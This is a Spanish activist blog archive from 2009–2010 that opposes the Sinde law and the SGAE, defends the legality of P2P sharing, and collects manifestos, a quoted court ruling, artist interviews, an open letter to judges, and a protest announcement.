8.- Exigimos que el Gobierno garantice por ley la neutralidad de la Red en España, ante cualquier presión que pueda producirse, como marco para el desarrollo de una economía sostenible y realista de cara al futuro.

9.- Proponemos una verdadera reforma del derecho de propiedad intelectual orientada a su fin: devolver a la sociedad el conocimiento, promover el dominio público y limitar los abusos de las entidades gestoras.

10.- En democracia las leyes y sus modificaciones deben aprobarse tras el oportuno debate público y habiendo consultado previamente a todas las partes implicadas. No es de recibo que se realicen cambios legislativos que afectan a derechos fundamentales en una ley no orgánica y que versa sobre otra materia.

Este manifiesto, elaborado de forma conjunta por varios autores, es de todos y de ninguno. Si quieres sumarte a él, difúndelo por Internet.

Las redes P2P son LEGALES.

2010-03-15T12:18:00.001+01:00

Son ocho páginas de sentencia, pero de verdad que vale la pena leerla entera, y hasta subrayarla: el escrito del Juez Raúl N. García Orejudo es claro, sencillo de entender, y no deja lugar a ninguna, ninguna duda. Después de esto, puedes, con toda tranquilidad, corregir a cualquiera al que escuches decir "descargas ilegales", "piratería", u otras estupideces similares no ajustadas a la realidad ni a Derecho. Es más, no dejes de hacerlo: es fundamental trasladar las victorias legales a la batalla del lenguaje, esa que se juega todos los días en la calle y en los medios de comunicación. Todos esos informativos y periódicos que hablan de "descargas ilegales" deben corregir su lenguaje, adaptarse a lo que la Justicia española afirma sin ningún género de dudas: la red P2P es legal. No se trata de una resolución aislada, ni de un error, ni de un tecnicismo, ni de ninguna excepción: se trata de la doctrina jurídica establecida ya por un buen número de jueces.

La sentencia del caso "El rincón de Jesús" es una demostración de sentido común. La descripción de las actividades de la página web es perfectamente clara, como también lo son las conclusiones del juez, de las que extracto algunos fragmentos de especial interés por su claridad y contundencia:

… la página de enlace a redes P2P, de la manera en que se configura la web de elrincondejesus, no vulnera en la actualidad los derechos de explotación que les confiere a los autores la Ley de Propiedad Intelectual. El sistema de enlaces o links que se ha descrito, desarrollado por el demandado en este caso, no supone ni distribución, ni reproducción, ni comunicación pública.

… en el sistema de protección regulado por la Ley de Propiedad Intelectual, adaptado a la normativa comunitaria, no se contiene previsión alguna que prohíba favorecer, permitir u orientar a los usuarios de la red de Internet que acceden a esta página, la búsqueda de obras que luego van a ser objeto de intercambio a través de las redes P2P. En un sentido amplio, el sistema de enlaces constituye la base misma de Internet y multitud de páginas y buscadores (como Google) permiten técnicamente hacer aquello que precisamente se pretende prohibir en este procedimiento, que es enlazar a las llamadas redes P2P.

Las redes P2P, como meras redes de transmisión de datos entre particulares usuarios de Internet no vulneran derecho alguno protegido por la Ley de Propiedad Intelectual.

… las obras que circulan en el gran almacén que constituye Internet generalmente ya se han divulgado, por persona física para uso privado con un acceso legal (pues la red P2P es legal) y la copia no es objeto de una utilización lucrativa, ni tampoco colectiva, pues estas dos expresiones se refieren a la posterior utilización que se hace de la obra una vez descargada, una vez obtenida la copia.

Lo dicho: vale la pena leer detenidamente la sentencia completa. Las redes P2P y las páginas de enlaces son perfectamente legales en nuestro ordenamiento jurídico, como habíamos visto ya en multitud de procedimientos. No constituyen ni delito, ni ilícito civil alguno, por mucho que determinados intermediarios interesados intentasen argumentar. Una sentencia que deja en el lugar adecuado a un gobierno empeñado en favorecer a las industrias intermediarias de la creación cultural, precisamente en contra de lo establecido en nuestro ordenamiento jurídico y de la opinión de los jueces. ¿En qué lugar queda esa Disposición Final Primera del Anteproyecto de Ley de Economía Sostenible, cuando trata de crear unos "tribunales especiales" para juzgar unas actuaciones QUE NO INCURREN EN DELITO ALGUNO?

Enrique Dans

http://www.enriquedans.com/2010/03/las-redes-p2p-son-legales.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+ElBlogDeEnriqueDans+%28El+Blog+de+Enrique+Dans%29&utm_content=Google+International

Sociedad General de Fabricantes de Mesas

2010-03-12T12:04:00.001+01:00

Yo creo la Sociedad General de Fabricantes de Mesas ( SGFM )

Yo fabrico una mesa a Ramoncín, él va, me la paga y se la lleva a su casa. Un día invita a comer a sus amigos para hacerse una cena con jabugo, ostras, caviar de Beluga y otras delicatessen propias de un currante como él.

Pues bueno, ¿cómo es que sus amigos están comiendo en MI mesa, disfrutando de ella Y NO ME ESTÁN PAGANDO?.
¿Que ya la pagó en su momento Ramoncín y él hace lo que quiera con la mesa?. ¡De eso nada!.
Yo se la vendí a ÉL y no al gordo de Echanove que se está poniendo ciego comiendo en mi mesa.

Así que cada vez que alguien coma en una mesa y no sea éste el que la compró me tiene que pagar.

Pero espera, no solo eso, sino que el que saque beneficio económico de mi trabajo (la puta mesa), lo voy a sangrar.
O sea, todos los restaurantes que me paguen 2mil€ al mes por usar mis mesas. ¿Pero por qué restaurantes solo?, TODO EL MUNDO USA MESAS: las oficinas necesitan mesa para trabajar Y GANAN DINERO POR ELLO, los voy a sangrar a todos.
¿Una boda?, que paguen por las mesas, ¿NO PAGAN POR LOS LANGOSTINOS? (Ramoncín dixit).

Pero claro, hay un problema: yo antes hacía mesas, pero hace años que no hago ni una y nadie usa una mesa mia. Pues no pasa nada, yo cobro por TODAS las mesas. Es más, por todo lo que tenga 4 patas y una tabla encima. Por si acaso, vete a saber si alguna de ellas es mia o de mis amigos de la Asosiación.

Pero da igual si esas mesas son de Ikea, YO las cobro y luego digo que el dinero se lo lleva Ikea.

Robbie Williams y Annie Lennox dicen que no es delito descargar música

2010-03-01T10:53:00.001+01:00

Un grupo de músicos entre los que figuran Robbie Williams, Annie Lennox, Billy Bragg o Ed O'Brien, de Radiohead, se opone a que descargar música de internet sea tipificado como delito.

L D (EFE) La Featured Artists Coalition, que agrupa a 140 de los más conocidos músicos de rock y de pop, votó mayoritariamente este miércoles contra el procesamiento judicial de miembros del público por ese motivo.

Los músicos trasladarán esa opinión mayoritaria al secretario de Estado británico para las Comunicaciones, lord Carter, que sugirió la posibilidad de tipificar esas acciones como delito, según informa el diario The Independent.

Uno de los músicos, Billy Bragg, declaró al periódico que no se puede "seguir a la industria musical por ese camino" con medidas proteccionistas que equivalen "a meter la pasta dentífrica otra vez en el tubo". "Los artistas deberían ser titulares de los derechos y poder decidir cuándo su música puede usarse gratuitamente y cuándo hay que pagar por ella", dijo Bragg.

La coalición, creada para defender los derechos de los músicos en el mundo digital, quiere, sin embargo, que las empresas como YouTube y MySpace remuneren a los músicos cuando utilicen sus composiciones en la publicidad.

http://www.libertaddigital.com/internet/robbie-williams-y-annie-lennox-dicen-que-no-es-delito-descargar-musica-1276353286/

El presidente de la SGAE se asegura una pensión vitalicia de 24.500 euros al mes

2010-02-24T17:33:00.001+01:00

Eduardo Bautista, presidente de la Sociedad General de Autores (SGAE) percibirá de forma vitalicia una pensión de 24.500 euros al mes. Una cifra vergonzosa teniendo en cuenta que sale del canon digital que pagan todos los ciudadanos.

Según publica en exclusiva La Razón, Bautista se ha garantizado un retiro dorado para cuando abandone sus labores al frente de la SGAE. El ejecutivo recibirá casi 300.000 euros al año por este concepto, al margen de otros ingresos que pueda percibir como sus derechos de autor.

¿Cómo se ha calculado el pensionazo?

Según el acuerdo individual firmado con la empresa, Eduardo Bautista tiene derecho a cobrar una pensión mensual que se determina como el 60 por ciento del salario mensual a la fecha de jubilación más una cuantía fija de 5.126,41 euros. En 2009, el salario pensionable del ejecutivo ascendió a 323.773 euros.

En julio publicamos un artículo titulado "justificar el canon digital es imposible después de conocer las cuentas de la SGAE" y el pensionazo de Teddy es todo un ejemplo. De hecho, Hacienda también está detrás de las cuentas de la polémica sociedad privada de autores. Porponer ejemplo, la SGAE pagó 2,158 millones a causa del IVA en 1999, 11,978 por retenciones a autores no residentes en 2004 y ahora le reclaman 7,642 por demoras. Es imprescindible que las cuentas de la SGAE sean públicas y el canon no se gestione de forma privada.

¿Cuánto dinero mueve la SGAE?

- Gestionan 340 millones de euros al año.

- Cuentan con 100.000 socios.

- El 94% de los socios cobra menos de 6.000 euros al año. Ya sabemos donde está ese 6%... También entendemos porque cobran hasta por ver la televisión en residencias de ancianos o en conciertos benéficos para salvar a un niño enfermo.

Carta abierta a la justicia

2010-01-27T10:56:00.006+01:00

Con la venia de Sus Señorías:

Dirigimos la presente carta a todas las Asociaciones Judiciales, así como a todas y cada una de las personas que ostentan en España el cargo de Juez o Magistrado. La escribimos desde la plataforma Red SOStenible, creada recientemente por un grupo diverso y heterogéneo de personas, -profesionales de la creación artística, de la informática, del mundo empresarial y jurídico, trabajadores y trabajadoras de toda condición- todas ellas preocupadas por algunas iniciativas que ponen en riesgo Libertades y Derechos Fundamentales consagrados en nuestra Carta Magna y, particularmente, la Disposición Final Primera del Anteproyecto de la denominada Ley de Economía Sostenible.

Nos dirigimos a usted por cuanto consideramos que dicha iniciativa supone un atentado a la separación de poderes y a las competencias que actualmente tiene constitucionalmente asumidas el Poder Judicial, cuyos integrantes suponen los más inmediatos garantes de nuestros derechos constitucionales.

La razón fundamental de todo ello es que dicha Disposición Final Primera, que con la excusa de la propiedad intelectual, atribuye a un órgano administrativo la facultad de interpretar las disposiciones de la Ley de Propiedad Intelectual, en cuanto a sus infracciones, al margen del criterio judicial y decretar la interrupción de servicios de la sociedad de la información, tales como el cierre de páginas web. Dicha previsión puede atentar a la facultad exclusiva de los jueces, reconocida en el art. 20.5 CE, de acordar el secuestro de cualquier medio de información.

La comentada norma supone la quiebra de dicho precepto y, por tanto, de la configuración constitucional de la Libertad de Expresión; de la separación de Poderes que se consagra en nuestra Carta Magna, dado que el cierre de medios de información como páginas web es una facultad atribuida al Poder Judicial; y de la separación de jurisdicciones.

Los conflictos en materia de propiedad intelectual han de ser resueltos ante la Jurisdicción Civil/Mercantil o, en los casos graves, ante la Jurisdicción Penal, ya que ambas ofrecen mecanismos ágiles para defender los derechos de propiedad intelectual, pero no ante la Jurisdicción Contencioso-administrativa. El procedimiento sumarísimo de 4 días previsto en el anteproyecto no reúne las debidas garantías, al privarse al Poder Judicial de la posibilidad de sopesar adecuadamente, con rigor y con sosiego, si concurren los elementos necesarios para suspender cautelarmente un derecho fundamental como es la Libertad de Expresión.

Por todo ello, el colectivo Red SOStenible le invita a informarse y, si lo considera oportuno, en la medida de su ámbito de actuación, poner su grano de arena a fin de que este atropello a nuestras Libertades y Derechos Fundamentales no se perpetre.

Confiando en la Justicia con mayúsculas, desde Red SOStenible transmitimos un respetuoso saludo a Sus Señorías.

http://red-sostenible.net

No al cierre de Webs

2010-01-20T09:54:00.003+01:00

Denuncia contra el Estado español por el monopolio de las entidades de gestión

“El que sabe no habla, el que habla no sabe”

Con esta frase del Tao Te Ching quisiéramos David Bravo y Javier de la Cueva invitar a los ciudadanos a compartir con nosotros una acción jurídica contra el Estado español por vulneración de la normativa comunitaria.

El informe publicado ayer “Sobre la gestión colectiva de los derechos de la propiedad intelectual” de la Comisión Nacional de la Competencia, manifiesta con total rotundidad que España podría estar infringiendo el Tratado de Funcionamiento de la Unión Europea por permitir que las entidades de gestión (SGAE, AGEDI, etc.,) realicen una explotación abusiva de su posición dominante. El informe asegura que esto es así porque puede entenderse que es precisamente la Ley de Propiedad Intelectual española "la que hace factible que las entidades de gestión adopten o puedan adoptar de forma reiterada comportamientos abusivos de su posición de dominio".

Con la intención de que España cese en la conducta presuntamente infractora que se describe en ese informe, hemos redactado la correspondiente denuncia que ponemos a disposición de todos los ciudadanos que quieran sumarse a su interposición.

La invitación a la ciudadanía a participar en acciones legales libres utilizando la Red, nació el 30 de agosto de 2003 cuando se puso a disposición de todos unos procedimientos libremente utilizables. El primero de ellos se dirigió contra el canon en los soportes digitales, hoy pendiente de sentencia del Tribunal de Justicia de las Comunidades Europeas. Si bien fueron muchas las voces que se alzaron contra el canon, pocas personas decidieron luchar jurídicamente contra el mismo, a pesar del procedimiento fácil y gratuito del que se disponía.

Posteriormente y tras la sentencia de Ladinamo, nacieron los procedimientos en defensa del Copyleft y somos líderes mundiales en resoluciones favorables. Luego llegaron las webs de enlaces, con la liberación de la nota para la vista de las medidas cautelares contra Sharemula y la liberación que ahora estamos llevando a cabo en favor de nuestros compañeros abogados y sus clientes de los escritos que hemos utilizado en su defensa. Después, vino la contestación de la Revista Cultural Quimera a la demanda de la SGAE que fue utilizada por la defensa de la CNT para obtener una sentencia absolutoria en la demanda que le interpuso tal entidad.

El método ha demostrado ser eficaz y por eso ahora queremos presentar la siguiente acción legal, animándoos a interponerla. La pregunta que todos se hacen tras el Manifiesto es la de ¿y ahora qué?

El problema que tienen las palabras es que se las lleva el viento. Si el canon cae, no es por la campaña de Todos contra el canon, sino por una sentencia del Tribunal de Justicia de las Comunidades Europeas. Lo que hace falta es el ejercicio efectivo de los derechos, porque las voces ya sobran cuando comienzan a ser sospechosas de su vacuidad e impostura: el que sabe no habla y el que habla no sabe.

El procedimiento que ofrecemos es gratuito y no cabe condena en costas. Consiste en denunciar ante Europa los abusos que estamos sufriendo de manos de los sucesivos gobiernos en el campo de la propiedad intelectual. No lo decimos nosotros, nos lo dice el informe de la Comisión Nacional de la Competencia que ha salido a la luz pública ayer, y que para los que nos dedicamos a la propiedad intelectual ha supuesto una cura de humildad porque nos ha demostrado lo poco que sabemos. Si bien ese Informe es la base y el fundamento de nuestra denuncia, tenemos otra razón, que nos da un ilustre jurista, John Rawls, quien en su Teoría de la Justicia señalaba lo siguiente:

"La responsabilidad no recae en los que protestan, sino en aquellos cuyo abuso de poder y de autoridad justifica tal oposición, porque emplear el aparato coercitivo del Estado para mantener instituciones manifiestamente injustas es una forma de fuerza ilegítima a la que los hombres tienen derecho a resistir".

Para interponer la denuncia basta con que rellenéis la plantilla que se halla en los enlaces que señalamos más abajo. En la misma figuran las instrucciones. Sólo os costará un paseo a una oficina de Correos y el importe de una carta certificada.

Lo verdaderamente importante de la Red es cuando cristaliza en el territorio físico. Si no ejercemos nuestros derechos mediante acciones legales y simplemente gritamos, siempre seremos víctimas del poder.

David Bravo y Javier de la Cueva, abogados.

Plantilla en formato .doc
Plantilla en formato .odt

Opiniones Contrariadas II: Manu Chao vs. Loquillo

2010-01-12T17:49:00.000+01:00

Manu Chao: “Un chaval no puede comprarse toda la música que quiera; es normal que se baje discos de Internet”

El siempre controvertido Manu Chao visitó nuestros estudios de radio en un momento en el que su nombre acapara las miradas de todos los medios de comunicación. La demanda que contra él han interpuesto las ya familiares Voces del Metro –sobre todo para los que viven en Madrid- supuso una pregunta obligada.
Conocido por su compromiso con toda clase de causas justas, el artista confesó haber roto sus vínculos con la discográfica Virgin “porque han echado a mucha gente, entre la que se encuentran algunos colegas míos”. Al mismo tiempo achacaba el alto precio de los CDs en las tiendas al proceso de distribución, por lo que “no sé cómo lo voy a hacer pero tengo que encontrar una manera de distribuir mi propia música. Es el momento de buscar vías alternativas. Actualmente existen mecanismos de grabación muy baratos, que contribuyen al descenso de los precios”.

Manu Chao no dudó en poner de manifiesto su apoyo a la “piratería casera o de barrio”, y defendió que un “chaval joven con 20 € en el bolsillo no puede permitirse comprar toda la música que pudiera desear. Lo normal es que se baje los discos desde Internet e invite a su novia al cine. Quien no haga esto es que es gilipollas. (...) La música no puede cambiar el mundo. Sólo el dinero puede hacerlo”. No obstante, el cantante criticó con dureza lo que él denominaba como “pirateo mafioso”, que es “peor que las propias casas de discos. El mantero es un esclavo de las mafias y no comprendo cómo la policía no desmantela las numerosas naves donde se graban copias ilegales. Todo el mundo sabe dónde están”.

Mirando al frente, el autor de Me Gustas Tú, una canción infantil según palabras del francés, anunció una próxima gira americana para el año próximo, aunque se mostró contrario a “las leyes que otorgan a una empresa monopolística los derechos de explotación de merchandising, cuando yo antes me llevaba a dos colegas para que se sacaran unos duros vendiendo camisetas”.

Loquillo: 'Los discos deberían subir su precio'

En nuestra entrevista, el Loco quiso darnos su solución personal para apoyar a la industria y a los creadores españoles: “Los discos, a pesar de lo que dice mucha gente, deben subir su precio. Es la única manera de luchar con un mínimo de garantías contra un mercado copado por Estados Unidos. Para lanzar un disco hace falta una buena campaña, que cada vez cuestan más dinero. Hace cinco o seis años había unos gastos muy parecidos entre compañías. Ahora, los españoles no pueden competir”
“Cuando en España exista un pacto por la cultura podremos ir a algún sitio. Nadie quiere dar el primer paso porque a todo el mundo le va muy bien. Al artista le pude venir bien quejarse; a la compañía le viene muy bien hacer el papel de malo, y las distribuidoras se llevan la pasta. Hay un discurso populista donde todo Edmundo hace de víctima… y a todos les viene muy bien ser víctima.”
¿Defender la piratería para uso doméstico? A la mierda, joder, hay que ser demagogo”
En cuanto a las opiniones de Manu Chao, opina “Viniendo de Manu Chao no me sorprende. El señor Eduardo Bautista, presidente de la SGAE, le tenía que pedir a Manu Chao el 22% de la facturación que se ha perdido por culpa de la piratería.

Opiniones Contrariadas I: Alaska vs. Estopa

2010-01-12T17:41:00.003+01:00

Alaska: "me he comprado muchos discos en el top manta"

Aboga por la reducción de precios: "Un artista se lleva muy poco dinero por disco, vamos a poner un euro, así que tampoco perdemos tanto. Desde luego es algo que te corresponde y te lo están quitando pero considero que alguien que compra en la manta es porque no tiene interés por mis discos, con sus portadas tan cuidadas, la hoja interior con todas las letras... Así que estamos vendiendo un disco que nunca venderíamos. Si los discos fueran más baratos y se cuidaran más las portadas, hay gente a la que no le importaría pagar un poco más por mayor calidad. Siempre estará aquel cazurro al que le dé igual fotocopiarse un libro por ahorrar un euro. Y la verdad, me he comprado discos como el de Papá Levante o Las Ketchup en el top manta".

Estopa: "El MP3 es una estafa, pura piratería"

Dicen no dominar el terreno de Internet. "No hemos tenido tiempo para investigar en el ciberespacio" Pero tienen su opinión formada: "Estamos en contra de Internet. La red significa olvidarse del boli y eso supone olvidarse de tu propia letra".

Y no es la única cosa que les pone nervioso. No están de acuerdo en bajarse de forma gratuita archivos musicales: "El MP3 es una estafa, pura piratería, sobre todo para los que hacemos canciones. Cuando escribes una canción se supone que tienes que cobrar por ella. El señor MP3 cobra y nosotros no", reclama David.
En lo de la piratería...¿Qué quieres que te diga? No me gusta que se venda un disco mío sin que yo no me lleve una tajada de él

-¿Estáis de parte de las multinacionales o del negrito del "Top Manta"?
- Estamos de parte de la gente. Del público. Que al final, también cuenta.

- Pues podríais vender los discos entonces a 6 euros, como hace María Jiménez...
- Sería una opción. De todos modos, no me gusta hablar demasiado de números, industria, crisis...

Reproducido de Ciberpaís y del Norte de Castilla.

Por una red de todos, para todos y con todos!

2010-01-12T10:02:00.001+01:00

Consideramos imprescindible la retirada de la disposición final primera de la Ley de Economía Sostenible por los siguientes motivos:

1 -Viola los derechos constitucionales en los que se ha de basar un estado democrático en especial la presunción de inocencia, libertad de expresión, privacidad, inviolabilidad domiciliaria, tutela judicial efectiva, libertad de mercado, protección de consumidoras y consumidores, entre otros.

2 - Genera para la Internet un estado de excepción en el cual la ciudadanía será tratada mediante procedimientos administrativos sumarísimos reservados por la Audiencia Nacional a narcotraficantes y terroristas.

3 - Establece un procedimiento punitivo “a la carta” para casos en los que los tribunales ya han manifestado que no constituían delito, implicando incluso la necesidad de modificar al menos 4 leyes, una de ellas orgánica. Esto conlleva un cambio radical en el sistema jurídico y una fuente de inseguridad para el sector de las TIC (Tecnología de la Información y la Comunicación). Recordamos, en este sentido, que el intercambio de conocimiento y cultura en la red es un motor económico importante para salir de la crisis como se ha demostrado ampliamente.

4 - Los mecanismos preventivos urgentes de los que dispone la ley y la judicatura son para proteger a toda ciudadanía frente a riesgos tan graves como los que afectan a la salud pública. El gobierno pretende utilizar estos mismos mecanismos de protección global para beneficiar intereses particulares frente a la ciudadanía. Además la normativa introducirá el concepto de "lucro indirecto", es decir: a mí me pueden cerrrar el blog porque "promociono" a uno que "promociona" a otro que linka a un tercero que hace negocios presuntamente ilícitos.

5 - Recordamos que la propiedad intelectual no es un derecho fundamental contrariamente a las declaraciones del Ministro de Justicia, Francisco Caamaño. Lo que es un derecho fundamental es el derecho a la producción literaria y artística.

6 - De acuerdo con las declaraciones de la Ministra de Cultura, esta disposición se utilizará exclusivamente para cerrar 200 webs que presuntamente están atentando contra los derechos de autor. Entendemos que si éste es el objetivo de la disposición, no es necesaria, ya que con la legislación actual existen procedimientos que permiten actuar contra webs, incluso con medidas cautelares, cuando presuntamente se esté incumpliendo la legalidad. Por lo que no queda sino recelar de las verdaderas intenciones que la motivan ya que lo único que añade a la legislación actual es el hecho de dejar la ciudadanía en una situación de grave indefensión jurídica en el entorno digital.

7 - Finalmente consideramos que la propuesta del gobierno no sólo es un despilfarro de recursos sino que será absolutamente ineficaz en sus presuntos propósitos y deja patente la absoluta incapacidad por parte del ejecutivo de entender los tiempos y motores de la Era Digital.

La disposición es una concesión más a la vieja industria del entretenimiento en detrimento de los derechos fundamentales de la ciudadanía en la era digital.

La ciudadanía no puede permitir de ninguna manera que sigan los intentos de vulnerar derechos fundamentales de las personas, sin la debida tutela judicial efectiva, para proteger derechos de menor rango como la propiedad intelectual. Dicha circunstancia ya fué aclarada con el dictado de inconstitucionalidad de la ley Corcuera (o ley de patada en la puerta). El Manifiesto en defensa de los derechos fundamentales en Internet, respaldado por más de 200 000 personas, ya avanzó la reacción y demandas de la ciudadanía antes la perspectiva inaceptable del gobierno. Para impulsar un definitivo cambio de rumbo y coordinar una respuesta conjunta, el 9 de enero se ha constituido la "Red SOStenible" una plataforma representativa de todos los sectores sociedad civil afectados. El objetivo es iniciar una ofensiva para garantizar una regulación del entorno digital que permita expresar todo el potencial de la Red y de la creación cultural respetando las libertades fundamentales.

En este sentido, reconocemos como referencia para el desarrollo de la era digital, la Carta para la innovación, la creatividad y el acceso al conocimiento, un documento de síntesis elaborado por más de 100 expertos de 20 países que recoge los principios legales fundamentales que deben inspirar este nuevo horizonte. En particular, consideramos que en estos momentos es especialmente urgentes la implementación por parte de gobiernos e instituciones competentes, de los siguientes aspectos recogidos en la Carta:

1 - Las/os artistas como todos los trabajadores tienen que poder vivir de su trabajo (referencia punto 2 "Demandas legales", párrafo B. "Estímulo de la creatividad y la innovación", de la Carta);
2 - La sociedad necesita para su desarrollo de una red abierta y libre (referencia punto 2 "Demandas legales", párrafo D "Acceso a las infraestructuras tecnológicas", de la Carta);

3 - El derecho a cita y el derecho a compartir tienen que ser potenciado y no limitado como fundamento de toda posibilidad de información y constitutivo de todo conocimiento (referencia punto 2 "Demandas legales", párrafo A "Derechos en un contexto digital", de la Carta);

4 - La ciudadanía debe poder disfrutar libremente de los derechos exclusivos de los bienes públicos que se pagan con su dinero, con el dinero publico (referencia punto 2 "Demandas legales", párrafo C "Conocimiento común y dominio público", de la Carta);

5 -Consideramos necesaria una reforma en profundidad del sistema de las entidades de gestión y la abolición del canon digital (referencia punto 2 "Demandas legales", párrafo B. "Estímulo de la creatividad y la innovación", de la Carta).

Por todo ello hoy se inicia la campaña INTERNET NO SERA OTRA TELE y se llevarán a cabo diversas acciones ciudadanas durante todo el periodo de la presidencia española de la UE.

Consideramos particularmente importantes en el calendario de la presidencia de turno española el II Congreso de Economía de la Cultura (29 y 30 de marzo en Barcelona), Reunión Informal de ministros de Cultura (30 y 31 de marzo en Barcelona) y la reunión de ministros de Telecomunicaciones (18 a 20 de abril en Granada).

La Red tiene previsto reunirse con representantes nacionales e internacionales de partidos políticos, representantes de la cultura y legaciones diplomáticas.

La Red Sostenible somos todo. Si quieres adherirte a este texto, cópialo, blogguéalo, difúndelo.

Hasta donde vamos a llegar?

2010-01-08T09:11:00.002+01:00

Cada día me sorprendo más de la jeta que pueden llegar a tener algunos. Esto es un sin sentido. Estamos perdiendo el norte?, o es que creen que somos tontos?

Esto es lo que acabo de leer itespresso.es

Francia estudia cobrar un impuesto a los gigantes de Internet para financiar a los autores

Si yo fuese Google, Microsoft o Yahoo! dejaria de prestar mis servicios en ese pais y que sean los usuarios los que echen a ese gobierno cerrado de miras que lo único que quieren es aprovecharse (lucrarse) con las ideas de los demás.

Vosotros si que sois PIRATAS!!

Hay alguien ahí?

2009-12-21T13:38:00.005+01:00

1 – La retirada de la normativa sobre cortes a Internet (LES)

2 – Fin de la propaganda contra los derechos civiles en entorno digital

3 - Desmantelar la estructura de las entidades de gestión

4 – Aplicación inmediata de la Carta por la Innovación, la Creatividad y el Acceso al Conocimiento

Pidamos:

1- La retirada de la cláusula del Anteproyecto de Ley de Economía Sostenible que prevé el corte de Internet por decisión de una simple comisión administrativa decidida por el Ministerio de Cultura. Es inconstitucional. El proyecto de ley prevé que la Sección Segunda (si, la SS) de esta comisión sea la que actúe. Pero volveremos más adelante a la SS. Vayamos al punto 2.

2 - El legislador, los gobiernos y los partidos tienen, de una vez por todas, que distinguir entre el compartir y el lucrarse con el trabajo de otro sin que esta persona perciba los justos beneficios. Lo que es ilegal no son los archivos, es lucrarse con ello. ¿Cómo habrá que decirlo?

Que se dejen ya de hablar de “archivos ilegales“. Los únicos archivos ilegales son los de pedofilia o de terrorismo. Las canciones de Chenoa pueden no gustar, pero no tanto como para que sean ilegales :-). Los archivos de música no son ilegales e intercambiarlos privadamente es un sacrosanto derecho de acceso a la información y al conocimiento, amparado por la ley y la constitución, además de por la lógica. Pedimos pues que no se utilicen más, en discursos ni documentos públicos u oficiales ni en la prensa, los términos “descargas o copias ilegales” (las descargas y las copias no son intrínsecamente ilegales, lo es lucrarse con ellas sin consentimiento). Sino los ciudadanos tendremos que querellarnos con el propio estado por calumnia, desacato a la presunción de inocencia y falsedad en documento público.

3 - Desmantelar el actual sistema de entidades de gestión: obsoleto, inadecuado, antidemocrático, poco transparente. Las entidades de gestión recaudan de forma arbitraria grandes cantidades de dinero que no invierten en la creación sino que sirven justamente a crear este mensaje distorsionado que engaña hasta a sus propios socios. Distorsionan la información a su favor hasta atacar la base de nuestra constitución para mantener su monopolio. Impiden que la profesión artística desarrolle posibilidades fuera de su control, frenando el avance tecnológico (prohíben en sus estatutos las licencias libres y, de hecho, el uso de internet). Se benefician del enfrentamiento entre artistas y ciudadanos cuando artistas y ciudadanos quieren lo mismo: el bien de los creadores, de todos los creatores y no solo de una ínfima parte de los socios de las entidades de gestión (el 10% de sus socios, más o menos). Hay que desmantelar la estructura actual de las entidades de gestión para crear un sistema justo de reparto de derechos de autor (véase punto 4).

4 - Todo esto que pedimos ya está escrito. El 29 de octubre pasado se reunieron en el Foro de Cultura Libre más de 100 “especialistas”, juristas, artistas, ciudadanos y organizaciones de gran relieve, además de dos Comisiones de la Comunidad Europea. Los participantes han acordado la “Carta por la innovación, la creatividad y el acceso al conocimiento“, una Carta que contiene demandas legales claras para el respeto de los derechos de ciudadanos y artistas y el desarrollo de una era digital prospera y beneficiosa para todos. Esta Carta ha llegado ya a todos los ministerios.

Podéis verla y comentarla aquí: http://www.co-ment.net/text/1984/

Hay que pedir que todos los partidos y los ministerios implicados en la comisión interministerial sobre “propiedad intelectual” (economía, cultura, justicia, industria….) adopten la Carta que representa las propuestas de la sociedad civil para apoyar la creación y dar de comer a los artistas sin perjudicar a los derechos fundamentales (¿cómo?: licencias libres, uso de internet, protección de los salarios de los artistas, mejora del dominio publico y del uso justo, derecho a compartir, derecho a que no se lucren con tu trabajo sin que te repercuta, derecho a cita). PEDIMOS QUE reciban una delegación ciudadana de juristas, sin: “disculpad, me tengo que ir a un museo que se inaugura pero os dejo aquí reunidos“ Y QUE DISCUTAN PUNTO POR PUNTO.

Los Intocables de Sinde

2009-12-18T11:31:00.000+01:00

A estas alturas todos deberíamos saber quienes son los "autores" que quieren cerrar páginas web sin orden judicial. Pero por si las moscas, vamos a recordar quienes son las personas protegidas por nuestra "querida" ministra de inCultura. De todos nosotros depende la victoria. Estamos en el momento de luchar por nuestros ideales y nuestra libertad. Cada uno debe hacer lo que le dicte la conciencia. Todos estos "autores" tienen su conciencia en la cartera repleta de falsas mentiras, absurdas teorias y papel mojado por la humedad del tiempo.

Los Intocables de González-Sinde:

Alberto Comesaña
Alejandro Sanz
Alvaro Urquijo, Los Secretos
Amancio Prada Prada
Ana Belen
Ana Torroja
Andres Calamaro
Antón García Abril Compositor
Antonio Carmona
Antonio Meliveo Compositor
Antonio Orozco
Beatriz Luengo
Benito Kamelas
Buika
Burning
Calle Paris
Carles Benavent
Carlos Chaouen
Carlos Narea Productor
Celtas Cortos
Conchita
Dani Martin – El Canto Del Loco
Danza Invisible
David Demaria
Diego Amador
Duo Dinamico
Dyango
Edurne
Efecto Mariposa
El Muro De Berlin
Emilio Jose
Enrique Bunbury
Felipe Campuzano
Fernando Trueba Director Cine
Francisco Belver Mercader Músico-Director Banda Buenafuente
Grupo Asfalto
Hnos. Muñoz – Estopa
Jaula De Grillos
Javier Limon
Joan Albert Amargos Compositor
Joan Valent Compositor
Jordi Pujol Casademunt
Jose Miguel Carmona Guitarrista
Kim Fanlo – Nena Daconte
La Oreja De Vang Gog
Labuat
Las Supremas De Mostoles
Lichis
Loquillo
Luis Cobos
Luis Eduardo Aute
Mago de Oz
Malú
Manolo García
Marc Parrot
María Villalón
Marina Rossell
Marlango
Martirio
Melocos
Miguel Bose
Miguel Ríos
Monica Naranjo
Nacho Campillo
Nicolas Vallejo-Nagera
Obk
Pabloperea
Pedro Guerra
Peret
Pereza
Poncho k
Presuntos Implicados
Rosario Flores
Sidecars
Sidonie
Siempre Así
Suburbano
Tamara (la de los boleros)
Teresa Berganza
Vega
Vicky Larraz
Victor Manuel
Xabier Muguruza

De algunos de ellos me lo esperaba. De otros me he llevado una desilusión. En fin...

FLASHMOB por la CULTURA: Λ de ΛMORCIN, Reyes del DVD Frito.

2009-12-16T12:54:00.005+01:00

Organizador:
FLASHMOB por la CULTURA: Λ de ΛMORCIN, Reyes del DVD Frito.
Tipo: Fiesta - Reunión
Red: Global
Fecha: lunes, 28 de diciembre de 2009
Hora: 20:00 - 20:05
Lugar: ANÓNIMO compartirá POR LA CARA +de 1 MILLÓN de DVDs "PIRATAS" GRATIS para TODOS: en TODAS LAS CIUDADES DE ESPAÑA

"Dejemos que la Belleza de lo que Amamos sea lo que HACEMOS."
Rumi.

"El poder tiene MIEDO de Internet."
Manuel Castells.*

